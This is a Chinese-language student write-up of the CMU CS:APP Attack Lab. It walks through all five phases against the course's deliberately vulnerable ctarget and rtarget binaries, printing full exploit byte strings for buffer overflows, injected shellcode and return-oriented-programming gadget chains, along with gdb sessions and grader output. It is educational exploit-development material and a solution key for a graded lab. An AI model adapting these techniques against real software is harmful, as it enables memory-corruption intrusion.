# CS:APP Attack Lab 解題筆記 ###### tags: `cs:app` Attack Lab 對應第三章 『程序的機器級表示』,提供兩個有安全性問題的程式碼,學生必需要輸入特定的字串來攻擊這些程式,透過這個 Lab 可學習到 - 學習到針對 buffer overflow 的不同攻擊方法 - 了解如何寫出更安全的程式,以及編譯器及作業系統如何提供額外的保護機制 - 了解 x86-64 的 stack 以及參數傳入機制 - 了解 x86-64 的指令如何編碼 - 熟練 `GDB` & `OBJDUMP` 等除錯工具 ## Phase 1 第一關要求程式 `test` 在執行 `getbuf` 後,跳轉到 `touch1` ,而非原來的 `printf`, 我們先用 `objdump -d ctarget > ctarget_raw.txt` 產生機器碼觀察 `getbuf` 的行為 ```cpp void test() { int val; val = getbuf(); printf("No exploit. Getbuf returned 0x%x\n", val); } ``` `getbuf` 預留了 `0x28` 的 stack 空間,並執行 `Gets` 函式讀取輸入字串,依照 CMU 的文件說明,`Gets` 函式與 `gets` 相同,==無法得知使用者配置的 buffer 空間是否足夠儲存所有的輸入字串==,所以要讓程式跳轉到 `touch1`,只要將==函式地址安插在第 41~48 個輸入字串==,即會覆蓋原先 stack 儲存的跳轉地址 >Functions Gets() and gets() have no way to determine whether their destination buffers are large enough to store the string they read. ```cpp 00000000004017a8 <getbuf>: 4017a8: 48 83 ec 28 sub $0x28,%rsp 4017ac: 48 89 e7 mov %rsp,%rdi 4017af: e8 8c 02 00 00 callq 401a40 <Gets> 4017b4: b8 01 00 00 00 mov $0x1,%eax 4017b9: 48 83 c4 28 add $0x28,%rsp 4017bd: c3 retq 4017be: 90 nop 4017bf: 90 nop ``` 再看到 `touch1` 的起始地址為 `0x00000000004017c0` ```cpp 00000000004017c0 <touch1>: 4017c0: 48 83 ec 08 sub $0x8,%rsp 4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel> 4017cb: 00 00 00 4017ce: bf c5 30 40 00 mov $0x4030c5,%edi 4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt> 4017d8: bf 01 00 00 00 mov $0x1,%edi 4017dd: e8 ab 04 00 00 callq 401c8d <validate> 4017e2: bf 00 00 00 00 mov $0x0,%edi 4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt> ``` 因此第一關的 exploit string 就是隨意的 40 個字串搭配 `touch1` 的初始地址 `00000000004017c0`,注意必需為==小端法輸入== ``` exploit.txt 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00 ``` 成功解開 Problem 1,注意==執行 ctarget 時要加上 -q==,取消傳送結果到 CMU 的 grading server ```cpp ./hex2raw < exploit.txt > exploit-raw.txt ./ctarget -q -i exploit-raw.txt Cookie: 0x59b997fa Touch1!: You called touch1() Valid solution for level 1 with target ctarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00 ``` ## Phase 2 第二關要求程式 `test` 在執行 `getbuf` 後,跳轉到 `touch2`,且輸入參數必需為指定的 cookie 值(存於 `cookie.txt`),以下為 `touch2` 的 C & Assembly Code ```cpp void touch2(unsigned val) { vlevel = 2; /* Part of validation protocol */ if (val == cookie) { printf("Touch2!: You called touch2(0x%.8x)\n", val); validate(2); } else { printf("Misfire: You called touch2(0x%.8x)\n", val); fail(2); } exit(0); } 00000000004017ec <touch2>: 4017ec: 48 83 ec 08 sub $0x8,%rsp 4017f0: 89 fa mov %edi,%edx 4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel> 4017f9: 00 00 00 4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie> 401802: 75 20 jne 401824 <touch2+0x38> 401804: be e8 30 40 00 mov $0x4030e8,%esi 401809: bf 01 00 00 00 mov $0x1,%edi 40180e: b8 00 00 00 00 mov $0x0,%eax 401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt> 401818: bf 02 00 00 00 mov $0x2,%edi 40181d: e8 6b 04 00 00 callq 401c8d <validate> 401822: eb 1e jmp 401842 <touch2+0x56> 401824: be 10 31 40 00 mov $0x403110,%esi 401829: bf 01 00 00 00 mov $0x1,%edi 40182e: b8 00 00 00 00 mov $0x0,%eax 401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt> 401838: bf 02 00 00 00 mov $0x2,%edi 40183d: e8 0d 05 00 00 callq 401d4f <fail> 401842: bf 00 00 00 00 mov $0x0,%edi 401847: e8 f4 f5 ff ff callq 400e40 <exit@plt> ``` 從上方程式碼可以看到 cookie 值被存在 `%rip+0x202ce2` 的記憶體位置中,並與 `%rdi` 儲存的值進行比較,所以輸入參數 `val` 存在該暫存器中,我們先嘗試跳轉到 `touch2` ,並用 `gdb` 在 if 條件判斷處設立 break point 觀察 `%rip+0x202ce2, %rdi`,儲存的值確實符合預期 ```cpp gdb ctarget break *0x4017fc (gdb) run -q < exploit-raw-l2.txt ``` ```cpp Breakpoint 2, 0x0000000000401802 in touch2 (val=4160313728) at visible.c:42 42 visible.c: No such file or directory. (gdb) disas Dump of assembler code for function touch2: 0x00000000004017ec <+0>: sub $0x8,%rsp 0x00000000004017f0 <+4>: mov %edi,%edx 0x00000000004017f2 <+6>: movl $0x2,0x202ce0(%rip) # 0x6044dc <vlevel> 0x00000000004017fc <+16>: cmp 0x202ce2(%rip),%edi # 0x6044e4 <cookie> ``` ```cpp (gdb) print *(int*) ($rip+0x202ce2) $1 = 1505335290 (gdb) print (unsigned int) $rdi $5 = 4160313728 ``` 所以問題就是要如何==利用 injection code 將 cookie 值存入 `%rdi` 後,利用 `ret` 指令跳轉到 `touch2`==。已知的資訊只有==輸入字串==以及 ==`Gets` 函式呼叫與回傳時 `%rsp` 的位置==,因此我們必需想辦法在呼叫 `Gets` 時將: 1. exploit code 2. exploit code 所在的 stack 地址 放入 stack 中,這樣 `Gets` 回傳時,才可以讓程式跳轉到 exploit code 所在的地址並執行對應指令,簡易圖示如下 ![](https://i.imgur.com/nHQHNwN.png) 要跳轉到 `touch2` 並將 cookie 值傳入,exploit code 必需包含三個動作 1. 將 `touch2` 的地址推入 stack 中 2. 將 `0x59b997fa` 移到暫存器 `%rdi` 中 3. 利用 `retq` 執行 pop 及設定程式計數器,跳轉到 `touch2` 上述邏輯寫成指令如下 ```cpp pushq $0x4017ec mov $0x59b997fa, %rdi retq ``` 使用命令 `gcc -c mov.s` 及 `objdump -d mov.o > mov.d` ,開啟 `mov.d` 取得指令的 byte sequence ```cpp mov.o: file format elf64-x86-64 Disassembly of section .text: 0000000000000000 <.text>: 0: 68 ec 17 40 00 pushq $0x4017ec 5: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi c: c3 retq ``` 最後我們需要取得 `%rsp - 0x28` 的記憶體位置,在 `getbuf` 設定 break point 並觀察 `sub $0x28,%rsp` 後 `%rsp` 的地址,發現為 `0x5561dc78` ```cpp Dump of assembler code for function getbuf: 0x00000000004017a8 <+0>: sub $0x28,%rsp => 0x00000000004017ac <+4>: mov %rsp,%rdi 0x00000000004017af <+7>: callq 0x401a40 <Gets> 0x00000000004017b4 <+12>: mov $0x1,%eax 0x00000000004017b9 <+17>: add $0x28,%rsp 0x00000000004017bd <+21>: retq End of assembler dump. (gdb) print /x $rsp $1 = 0x5561dc78 ``` 綜合以上所述,答案如下(注意 stack LIFO 的特性,==最先輸入的字串會存在 stack 較低的位置==) ``` 68 ec 17 40 00 48 c7 c7 <-- Gets 取得字串所儲存的最低位置 (exploit code start from) fa 97 b9 59 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 <-- Gets 回傳後 %rsp 的位置 (注意小端法) ``` 完成第二關! ```cpp ./hex2raw < exploit_l2.txt > exploit-raw-l2.txt ./ctarget -q -i exploit-raw-l2.txt Cookie: 0x59b997fa Touch2!: You called touch2(0x59b997fa) Valid solution for level 2 with target ctarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:ctarget:2:68 EC 17 40 00 48 C7 C7 FA 97 B9 59 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 ``` ## Phase 3 第三關要求程式 `test` 在執行 `getbuf` 後,跳轉到 `touch3`,且輸入參數必需為 cookie 值的字串表示,以下為 `touch3` 的 C & Assembly code ```cpp void touch3(char *sval) { vlevel = 3; /* Part of validation protocol */ if (hexmatch(cookie, sval)) { printf("Touch3!: You called touch3(\"%s\")\n", sval); validate(3); } else { printf("Misfire: You called touch3(\"%s\")\n", sval); fail(3); } exit(0); } 00000000004018fa <touch3>: 4018fa: 53 push %rbx 4018fb: 48 89 fb mov %rdi,%rbx 4018fe: c7 05 d4 2b 20 00 03 movl $0x3,0x202bd4(%rip) # 6044dc <vlevel> 401905: 00 00 00 401908: 48 89 fe mov %rdi,%rsi 40190b: 8b 3d d3 2b 20 00 mov 0x202bd3(%rip),%edi # 6044e4 <cookie> 401911: e8 36 ff ff ff callq 40184c <hexmatch> 401916: 85 c0 test %eax,%eax 401918: 74 23 je 40193d <touch3+0x43> 40191a: 48 89 da mov %rbx,%rdx 40191d: be 38 31 40 00 mov $0x403138,%esi 401922: bf 01 00 00 00 mov $0x1,%edi 401927: b8 00 00 00 00 mov $0x0,%eax 40192c: e8 bf f4 ff ff callq 400df0 <__printf_chk@plt> 401931: bf 03 00 00 00 mov $0x3,%edi 401936: e8 52 03 00 00 callq 401c8d <validate> 40193b: eb 21 jmp 40195e <touch3+0x64> 40193d: 48 89 da mov %rbx,%rdx 401940: be 60 31 40 00 mov $0x403160,%esi 401945: bf 01 00 00 00 mov $0x1,%edi 40194a: b8 00 00 00 00 mov $0x0,%eax 40194f: e8 9c f4 ff ff callq 400df0 <__printf_chk@plt> 401954: bf 03 00 00 00 mov $0x3,%edi 401959: e8 f1 03 00 00 callq 401d4f <fail> 40195e: bf 00 00 00 00 mov $0x0,%edi 401963: e8 d8 f4 ff ff callq 400e40 <exit@plt> ``` 與第二關不同的是,`touch3` 使用函式 `hexmatch` 進行字串比較: 1. 建立大小為 110 的 buffer `cbuf` 2. 設定字串 `s` 的開頭地址為 `cbuf + 0~99` 3. 將輸入 `val` 轉為十六進位並存入字串 `s` 4. 比較 `s` & `sval`,若字串相等則回傳 `1`,否則為 `0` ```cpp /* Compare string to hex represention of unsigned value */ int hexmatch(unsigned val, char *sval) { char cbuf[110]; /* Make position of check string unpredictable */ char *s = cbuf + random() % 100; sprintf(s, "%.8x", val); return strncmp(sval, s, 9) == 0; } 000000000040184c <hexmatch>: 40184c: 41 54 push %r12 40184e: 55 push %rbp 40184f: 53 push %rbx 401850: 48 83 c4 80 add $0xffffffffffffff80,%rsp 401854: 41 89 fc mov %edi,%r12d 401857: 48 89 f5 mov %rsi,%rbp 40185a: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax 401861: 00 00 401863: 48 89 44 24 78 mov %rax,0x78(%rsp) 401868: 31 c0 xor %eax,%eax 40186a: e8 41 f5 ff ff callq 400db0 <random@plt> 40186f: 48 89 c1 mov %rax,%rcx 401872: 48 ba 0b d7 a3 70 3d movabs $0xa3d70a3d70a3d70b,%rdx 401879: 0a d7 a3 40187c: 48 f7 ea imul %rdx 40187f: 48 01 ca add %rcx,%rdx 401882: 48 c1 fa 06 sar $0x6,%rdx 401886: 48 89 c8 mov %rcx,%rax 401889: 48 c1 f8 3f sar $0x3f,%rax 40188d: 48 29 c2 sub %rax,%rdx 401890: 48 8d 04 92 lea (%rdx,%rdx,4),%rax 401894: 48 8d 04 80 lea (%rax,%rax,4),%rax 401898: 48 c1 e0 02 shl $0x2,%rax 40189c: 48 29 c1 sub %rax,%rcx 40189f: 48 8d 1c 0c lea (%rsp,%rcx,1),%rbx 4018a3: 45 89 e0 mov %r12d,%r8d 4018a6: b9 e2 30 40 00 mov $0x4030e2,%ecx 4018ab: 48 c7 c2 ff ff ff ff mov $0xffffffffffffffff,%rdx 4018b2: be 01 00 00 00 mov $0x1,%esi 4018b7: 48 89 df mov %rbx,%rdi 4018ba: b8 00 00 00 00 mov $0x0,%eax 4018bf: e8 ac f5 ff ff callq 400e70 <__sprintf_chk@plt> 4018c4: ba 09 00 00 00 mov $0x9,%edx 4018c9: 48 89 de mov %rbx,%rsi 4018cc: 48 89 ef mov %rbp,%rdi 4018cf: e8 cc f3 ff ff callq 400ca0 <strncmp@plt> 4018d4: 85 c0 test %eax,%eax 4018d6: 0f 94 c0 sete %al 4018d9: 0f b6 c0 movzbl %al,%eax 4018dc: 48 8b 74 24 78 mov 0x78(%rsp),%rsi 4018e1: 64 48 33 34 25 28 00 xor %fs:0x28,%rsi 4018e8: 00 00 4018ea: 74 05 je 4018f1 <hexmatch+0xa5> 4018ec: e8 ef f3 ff ff callq 400ce0 <__stack_chk_fail@plt> 4018f1: 48 83 ec 80 sub $0xffffffffffffff80,%rsp 4018f5: 5b pop %rbx 4018f6: 5d pop %rbp 4018f7: 41 5c pop %r12 4018f9: c3 retq ``` 因此第三關的 exploit code 與第二關雷同,但在呼叫 `touch3` 之前,==將 `char *sval` 的值(也就是字串的地址)存入 `%rdi` 中,而該地址必需儲存 cookie 值轉為字串後的 `ascii` 表示==,另外觀察 `touch3` 及 `hexmatch` 都有使用到 `pushq` 指令(1 次/3 次),所以==必需考慮 stack 被覆寫的狀況==: 1. 由第二關我們知道 `Gets` 的最低與最高 stack 地址為 `0x5561dc78 & 0x5561dca0`,同時 `0x5561dc78` 為使用者能夠控制的最低記憶體位置。 2. 觀察 `touch3` & `hexmatch` 在呼叫 `strncmp` 之前,總共呼叫了 4 次 `pushq` 3. 程式在 `0x5561dc78` 地址處放置金絲雀,這代表 `0x5561dc78 ~ 0x5561dc98` 這個範圍,在執行 exploit code 後值都會被覆寫, 4. `0x5561dca0` 必需儲存 exploit code 的地址 ==所以放置 cookie 字串的位置只能比 `0x5561dca0` 還高,也就是 `0x5561dca8`== ``` <touch3> 4018fa: 53 push %rbx --> 0x5561dc98 <hexmatch> 40184c: 41 54 push %r12 --> 0x5561dc90 40184e: 55 push %rbp --> 0x5561dc88 40184f: 53 push %rbx --> 0x5561dc80 401850: 48 83 c4 80 add $0xffffffffffffff80,%rsp 401854: 41 89 fc mov %edi,%r12d 401857: 48 89 f5 mov %rsi,%rbp 40185a: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax 401861: 00 00 401863: 48 89 44 24 78 mov %rax,0x78(%rsp) --> 0x5561dc78 ``` ![](https://i.imgur.com/aXNXVUa.png) exploit code 必需包含三個動作,寫成指令及對應的 byte sequence 如下 1. 將 `touch3` 的地址推入 stack 2. 將 `0x5561dca8` (字串地址) 移到暫存器 `%rdi` 3. 利用 `retq` 執行 pop 及設定程式計數器,跳轉到 `touch3` ```cpp pushq $0x4018fa mov $0x5561dca8, %rdi retq ``` ```cpp mov_3.o: file format elf64-x86-64 Disassembly of section .text: 0000000000000000 <.text>: 0: 68 fa 18 40 00 pushq $0x4018fa 5: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi c: c3 retq ``` Cookie 值 `0x59b997fa` 對應的 `acsii` 為 `35 39 62 39 39 37 66 61`,==注意需包含終止符==,所以要多一行 `00 00 00 00 00 00 00 00`,最終答案如下 ``` 68 fa 18 40 00 48 c7 c7 <-- 0x5561dc78 a8 dc 61 55 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 <-- 0x5561dca0 35 39 62 39 39 37 66 61 <-- 0x5561dca8 00 00 00 00 00 00 00 00 <-- 注意 Null terminator ``` 成功解決第三關! ```cpp Cookie: 0x59b997fa Touch3!: You called touch3("59b997fa") Valid solution for level 3 with target ctarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:ctarget:3:68 FA 18 40 00 48 C7 C7 A8 DC 61 55 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 ``` ## Phase 4 Phase 4 & Phase 5 開啟了 stack 隨機化功能以及部份區域 stack 不可執行的標記,無法像 Phase 1 ~ Phase 3 利用指定 stack 地址的方式進行程式跳轉。一種常見的破解方式為 ==return-oriented programming (ROP)==,利用現有程式中的指令形成 gadget chain。 >The strategy with ROP is to identify byte sequences within an existing program that consist of one or more instructions followed by the instruction ret. Such a segment is referred to as a gadget gadget chain 的形成方法為,利用在 stack 中儲存一系列尾端為 `C3(ret)` 的 byte sequence,透過不斷執行 gadget 指令並以 `C3` 獲取下一個 gadget 指令位置,如下圖所示 ![](https://i.imgur.com/Tw0Uq8m.png) Phase 4 要求以 ROP 達成 Phase 2 的功能,我們回想一下破解 Phase 2 需要完成哪些事情: 1. 將 cookie 值 `0x59b997fa` 存入 `%rdi` 2. 呼叫 `touch2` 但這次我們無法直接將 cookie 值存入 `%rdi`,所以必需先將值放入 stack,再透過 `popq` 指令將值從 stack 移入暫存器中,所以實際程式執行步驟應該為: 1. 使用 `popq` 指令,將值從 stack 移入指定的暫存器 2. 使用 `movq` 指令,將值移到 `%rdi` 暫存器 3. 呼叫 `touch2` 參考 CMU 提供的指南,`popq` 及 `movq` 的對應 byte sequence 如下(考慮中繼的暫存器為 `%rax`) ``` popq $rax --> <58> movq $rax, $ris --> <48 89 c7> ``` 接著要從 CMU 提供的 gadget farm 中找到可以執行這些指令的地址,觀察以下兩個函數,`addval_219` 指令的後 3 個 byte sequence 為 `58 90 c3`,`setval_426` 指令的後 5 個 byte sequence 為 `48 89 c7 90 c3`,符合我們的需求,所以兩個 gadget 對應的地址分別為 ==`0x4019ab` & `0x4019c5`== P.S. 0x90 為 `nop` 指令,意指不做任何動作,程式繼續往下執行 ``` 00000000004019a7 <addval_219>: 4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax 4019ad: c3 00000000004019c3 <setval_426>: 4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi) 4019c9: c3 ``` 要注意 cookie 值也需要存在 stack,而且在呼叫 `movq` 之前要存入暫存器 `%rax`,所以 stack byte sequence 的擺放順序應該為 1. `popq` 對應地址 2. cookie 值 3. `movq` 對應地址 4. `touch2` 對應地址 ``` 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 19 40 00 00 00 00 00 <-- 跳轉到 popq fa 97 b9 59 00 00 00 00 <-- cookie 值 c5 19 40 00 00 00 00 00 <-- 跳轉到 movq ec 17 40 00 00 00 00 00 <-- 跳轉到 touch2 ``` 解開第四關! ```cpp Cookie: 0x59b997fa Touch2!: You called touch2(0x59b997fa) Valid solution for level 2 with target rtarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00 ``` ## Problem 5 Phase 5 要求以 ROP 達成 Phase 3 的功能,我們需要==取得 `%rsp` 在 `Gets` 返回時的地址==,並利用==偏移的方式,取得字串所在地址==,在 gadget farm 可以找到以下函數 ```cpp 00000000004019d6 <add_xy>: 4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax 4019da: c3 retq ``` 我們需要將 `%rsp` 的地址存入 `%rdi`,並且將偏移量存入 `%rsi` 中。同 Phase 4,要取得特定的數值只能透過 `popq` ```cpp 00000000004019a7 <addval_219>: 4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax 4019ad: c3 ``` 接下來就是想辦法從 gadget farm 中拼湊出數值於暫存器移動的對應指令 1. %rsp --> %rdi gadget farm 中沒有對應的指令,需要透過兩次的移動,從 %rsp --> %rax (`48 89 e0`),再從 %rax --> %rdi (`48 89 c7`) ```cpp 0000000000401a03 <addval_190>: 401a03: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax 401a09: c3 retq 00000000004019c3 <setval_426>: 4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi) 4019c9: c3 ``` 2. 將偏移量從 stack 存入 `%rax` (`58`) ```cpp 00000000004019a7 <addval_219>: 4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax 4019ad: c3 ``` 3. 將 `%rax` 的值移到 `%rsi`,同樣沒有對應的指令直接移動,需拆為三個步驟,%eax --> %edx (`89 c2`),%edx --> %ecx (`89 d1`),%ecx --> %esi (`89 ce`) ```cpp 0000000000401a40 <addval_487>: 401a40: 8d 87 89 c2 84 c0 lea -0x3f7b3d77(%rdi),%eax 401a46: c3 0000000000401a33 <getval_159>: 401a33: b8 89 d1 38 c9 mov $0xc938d189,%eax 401a38: c3 0000000000401a25 <addval_187>: 401a25: 8d 87 89 ce 38 c0 lea -0x3fc73177(%rdi),%eax 401a2b: c3 ``` 4. 執行 `lea` 指令取得字串的記憶體位置 ```cpp 00000000004019d6 <add_xy>: 4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax 4019da: c3 retq ``` 5. 將地址移到 `%rdi` ```cpp 00000000004019c3 <setval_426>: 4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi) 4019c9: c3 ``` 6. 呼叫 `touch3` 與 Phase 3 一樣,字串必需放在這一連串 byte sequence 之後。總共有 9 次呼叫加上偏移量,共佔用 10 * 8 = 80 byte 的 stack,所以==偏移量為 80 - 8 = 72 = 0x48== ``` 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1a 40 00 00 00 00 00 <-- movq %rsp, %rax c5 19 40 00 00 00 00 00 <-- movq %rax, %rdi ab 19 40 00 00 00 00 00 <-- popq %rax 48 00 00 00 00 00 00 00 <-- 偏移量 42 1a 40 00 00 00 00 00 <-- movl %eax, %edx 34 1a 40 00 00 00 00 00 <-- movl %edx, %ecx 27 1a 40 00 00 00 00 00 <-- movl %ecx, %esi d6 19 40 00 00 00 00 00 <-- lea (%rdi,%rsi,1),%rax c5 19 40 00 00 00 00 00 <-- movq %rax, %rdi fa 18 40 00 00 00 00 00 <-- 呼叫 touch3 35 39 62 39 39 37 66 61 <-- cookie 值 00 00 00 00 00 00 00 00 <-- Null terminator ``` 完成所有關卡! ```cpp Cookie: 0x59b997fa Touch3!: You called touch3("59b997fa") Valid solution for level 3 with target rtarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1A 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 AB 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 42 1A 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 27 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 ``` ## Reference 1. [Computer Systems: A Programmer’s Perspective, 3/E (CS:APP3e)](http://csapp.cs.cmu.edu/3e/labs.html)